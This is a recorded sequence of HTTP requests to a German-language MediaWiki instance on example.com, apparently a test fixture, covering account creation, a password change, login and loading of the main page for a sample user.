{"method": "GET", "target": "/api.php?action=query&format=json&list=users&ususers=Beispielnutzer&usprop=cancreate&formatversion=2&errorformat=html&errorsuselocal=true&uselang=de", "headers": ["Host: example.com", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Accept-Language: de-DE", "Referer: http://example.com/index.php/Spezial:Benutzerkonto_anlegen", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=vb40hsa9o6bcbda6t6rvo5t50bkjdmk3"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/api.php?action=validatepassword", "headers": ["Host: example.com", "Content-Length: 184", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Accept-Language: de-DE", "Origin: http://example.com", "Referer: http://example.com/index.php/Spezial:Benutzerkonto_anlegen", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=vb40hsa9o6bcbda6t6rvo5t50bkjdmk3"], "body": "action=validatepassword&format=json&user=Beispielnutzer&password=+%2F%22j14y%5B%25%5C(iM%5DzmG%25%3D%5E&email=&realname=&formatversion=2&errorformat=html&errorsuselocal=true&uselang=de"}
|
||||||
|
{"method": "POST", "target": "/index.php/Spezial:Benutzerkonto_anlegen", "headers": ["Host: example.com", "Content-Length: 328", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept-Language: de-DE", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php/Spezial:Benutzerkonto_anlegen", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=vb40hsa9o6bcbda6t6rvo5t50bkjdmk3"], "body": "title=Spezial%3ABenutzerkonto+anlegen&wpName=Beispielnutzer&wpPassword=+%2F%22j14y%5B%25%5C%28iM%5DzmG%25%3D%5E&retype=+%2F%22j14y%5B%25%5C%28iM%5DzmG%25%3D%5E&email=&realname=&wpCreateaccount=Benutzerkonto+erstellen&wpEditToken=%2B%5C&authAction=create&force=&wpCreateaccountToken=7a331f326cb63df209618ab8f4d9ee8c6af3a635%2B%5C"}
|
||||||
|
{"method": "GET", "target": "/load.php?lang=de&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php/Spezial:Benutzerkonto_anlegen", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=4tkdqajchdv6ft3qklvjmb4lupneqbe8; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=1%401794352698%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/load.php?lang=de&modules=jquery%7Cjquery.client%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=sklfj", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: */*", "Referer: http://example.com/index.php/Spezial:Benutzerkonto_anlegen", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=4tkdqajchdv6ft3qklvjmb4lupneqbe8; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=1%401794352698%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=watchlist&format=original&lang=de&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=de&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=4tkdqajchdv6ft3qklvjmb4lupneqbe8; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=1%401794352698%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=userAvatar&format=original&lang=de&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=de&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=4tkdqajchdv6ft3qklvjmb4lupneqbe8; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=1%401794352698%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=settings&format=original&lang=de&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=de&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=4tkdqajchdv6ft3qklvjmb4lupneqbe8; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=1%401794352698%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=logOut&format=original&lang=de&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=de&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=4tkdqajchdv6ft3qklvjmb4lupneqbe8; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=1%401794352698%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/index.php/Spezial:Anmeldeinformationen_%C3%A4ndern/MediaWiki%5CAuth%5CPasswordAuthenticationRequest", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=4tkdqajchdv6ft3qklvjmb4lupneqbe8; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=1%401794352698%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/load.php?lang=de&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php/Spezial:Anmeldeinformationen_%C3%A4ndern/MediaWiki%5CAuth%5CPasswordAuthenticationRequest", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=4tkdqajchdv6ft3qklvjmb4lupneqbe8; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=1%401794352698%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/load.php?lang=de&modules=jquery%2Coojs%2Coojs-ui-core%2Coojs-ui-widgets%7Cjquery.client%2ClengthLimit%2Cspinner%7Cjquery.spinner.styles%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cmisc-authed-ooui%2Cstorage%2Cuser%2Cutil%2Cwidgets%7Cmediawiki.htmlform.ooui%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.special.changecredentials%7Cmediawiki.widgets.visibleLengthLimit%7Coojs-ui-widgets.icons%7Coojs-ui.styles.icons-content%2Cicons-editing-advanced%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=1k28j", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: */*", "Referer: http://example.com/index.php/Spezial:Anmeldeinformationen_%C3%A4ndern/MediaWiki%5CAuth%5CPasswordAuthenticationRequest", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=4tkdqajchdv6ft3qklvjmb4lupneqbe8; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=1%401794352698%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/api.php?action=validatepassword", "headers": ["Host: example.com", "Content-Length: 143", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Accept-Language: de-DE", "Origin: http://example.com", "Referer: http://example.com/index.php/Spezial:Anmeldeinformationen_%C3%A4ndern/MediaWiki%5CAuth%5CPasswordAuthenticationRequest", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=4tkdqajchdv6ft3qklvjmb4lupneqbe8; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=1%401794352698%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": "action=validatepassword&format=json&password=Z%3E%22%7BZ%5CQDwqBQs%25v%7D%60nBu&formatversion=2&errorformat=html&errorsuselocal=true&uselang=de"}
|
||||||
|
{"method": "POST", "target": "/index.php/Spezial:Anmeldeinformationen_%C3%A4ndern/MediaWiki%5CAuth%5CPasswordAuthenticationRequest", "headers": ["Host: example.com", "Content-Length: 333", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept-Language: de-DE", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php/Spezial:Anmeldeinformationen_%C3%A4ndern/MediaWiki%5CAuth%5CPasswordAuthenticationRequest", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=4tkdqajchdv6ft3qklvjmb4lupneqbe8; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=1%401794352698%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": "title=Spezial%3AAnmeldeinformationen+%C3%A4ndern%2FMediaWiki%5CAuth%5CPasswordAuthenticationRequest&password=Z%3E%22%7BZ%5CQDwqBQs%25v%7D%60nBu&retype=Z%3E%22%7BZ%5CQDwqBQs%25v%7D%60nBu&wpusername=&wpEditToken=5568a8e4b9211e69614b1ae1194c7f016af3a63b%2B%5C&wpAuthToken=629fad74e2a9259896c7a10ad3c323246af3a63b%2B%5C&authAction=change"}
|
||||||
|
{"method": "GET", "target": "/load.php?lang=de&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php/Spezial:Anmeldeinformationen_%C3%A4ndern/MediaWiki%5CAuth%5CPasswordAuthenticationRequest", "Accept-Encoding: gzip, deflate", "Cookie: my_wikiUserID=3; my_wikiUserName=Beispielnutzer; UseDC=master; my_wiki_session=jo9c7tpgkigl1rrolnol4gfejacn8nbo; cpPosIndex=2%401794352700%237671c2c53093b0ca272aa2d825d0a65d"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/load.php?lang=de&modules=jquery%2Coojs%2Coojs-ui-core%2Coojs-ui-widgets%7Cjquery.client%2ClengthLimit%2Cspinner%7Cjquery.spinner.styles%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2CjqueryMsg%2Clanguage%2Cmisc-authed-ooui%2Cstorage%2Cuser%2Cutil%2Cwidgets%7Cmediawiki.htmlform.ooui%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.special.changecredentials%7Cmediawiki.widgets.visibleLengthLimit%7Coojs-ui-widgets.icons%7Coojs-ui.styles.icons-content%2Cicons-editing-advanced%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=12dem", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: */*", "Referer: http://example.com/index.php/Spezial:Anmeldeinformationen_%C3%A4ndern/MediaWiki%5CAuth%5CPasswordAuthenticationRequest", "Accept-Encoding: gzip, deflate", "Cookie: my_wikiUserID=3; my_wikiUserName=Beispielnutzer; UseDC=master; my_wiki_session=jo9c7tpgkigl1rrolnol4gfejacn8nbo; cpPosIndex=2%401794352700%237671c2c53093b0ca272aa2d825d0a65d"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/index.php/Spezial:Anmelden", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/load.php?lang=de&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.codex.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.userlogin.common.styles%7Cmediawiki.special.userlogin.login.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php/Spezial:Anmelden", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=eodtjgih9kbvcamkpkb68vmnv4791hdt"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/load.php?lang=de&modules=startup&only=scripts&raw=1&safemode=1&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: */*", "Referer: http://example.com/index.php/Spezial:Anmelden", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=eodtjgih9kbvcamkpkb68vmnv4791hdt"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/resources/assets/change-your-logo-icon.svg", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Spezial:Anmelden", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=eodtjgih9kbvcamkpkb68vmnv4791hdt"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=menu&format=original&lang=de&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=de&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.codex.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.userlogin.common.styles%7Cmediawiki.special.userlogin.login.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=eodtjgih9kbvcamkpkb68vmnv4791hdt"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=ellipsis&format=original&lang=de&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=de&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.codex.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.userlogin.common.styles%7Cmediawiki.special.userlogin.login.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=eodtjgih9kbvcamkpkb68vmnv4791hdt"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=userTalk&format=original&lang=de&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=de&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.codex.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.userlogin.common.styles%7Cmediawiki.special.userlogin.login.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=eodtjgih9kbvcamkpkb68vmnv4791hdt"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=userContributions&format=original&lang=de&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=de&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.codex.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.userlogin.common.styles%7Cmediawiki.special.userlogin.login.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=eodtjgih9kbvcamkpkb68vmnv4791hdt"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/resources/src/mediawiki.special.userlogin.login.styles/images/glyph-people-large.png?707d6", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=de&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.codex.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.userlogin.common.styles%7Cmediawiki.special.userlogin.login.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=eodtjgih9kbvcamkpkb68vmnv4791hdt"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/resources/assets/poweredby_mediawiki.svg", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Spezial:Anmelden", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=eodtjgih9kbvcamkpkb68vmnv4791hdt"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/load.php?lang=de&modules=jquery%7Cjquery.client%2ClengthLimit%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=jkzyg", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: */*", "Referer: http://example.com/index.php/Spezial:Anmelden", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=eodtjgih9kbvcamkpkb68vmnv4791hdt"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/index.php/Spezial:Anmelden", "headers": ["Host: example.com", "Content-Length: 219", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept-Language: de-DE", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php/Spezial:Anmelden", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=eodtjgih9kbvcamkpkb68vmnv4791hdt"], "body": "title=Spezial%3AAnmelden&wpName=Beispielnutzer&wpPassword=Z%3E%22%7BZ%5CQDwqBQs%25v%7D%60nBu&wploginattempt=Anmelden&wpEditToken=%2B%5C&authAction=login&force=&wpLoginToken=11794fbe451c06fec8d46bece48fabdb6af3a641%2B%5C"}
|
||||||
|
{"method": "POST", "target": "/index.php/Spezial:Anmelden", "headers": ["Host: example.com", "Content-Length: 272", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept-Language: de-DE", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php/Spezial:Anmelden", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=eodtjgih9kbvcamkpkb68vmnv4791hdt"], "body": "title=Spezial%3AAnmelden&wpName=&wpPassword=gJ%3CEcT%29jhZ%27%60GC%3EcX%7EhM&retype=gJ%3CEcT%29jhZ%27%60GC%3EcX%7EhM&wploginattempt=Mit+der+Anmeldung+fortfahren&wpEditToken=%2B%5C&authAction=login-continue&force=&wpLoginToken=f10651d983c774ff6157b6727ba949c66af3a642%2B%5C"}
|
||||||
|
{"method": "GET", "target": "/index.php/Hauptseite", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php/Spezial:Anmelden", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6utcdt9ec701s0tluji4v5r3uus5evqv; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=3%401794352707%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/load.php?lang=de&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php/Hauptseite", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6utcdt9ec701s0tluji4v5r3uus5evqv; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=3%401794352707%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/load.php?lang=de&modules=startup&only=scripts&raw=1&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: */*", "Referer: http://example.com/index.php/Hauptseite", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6utcdt9ec701s0tluji4v5r3uus5evqv; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=3%401794352707%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
|
||||||
|
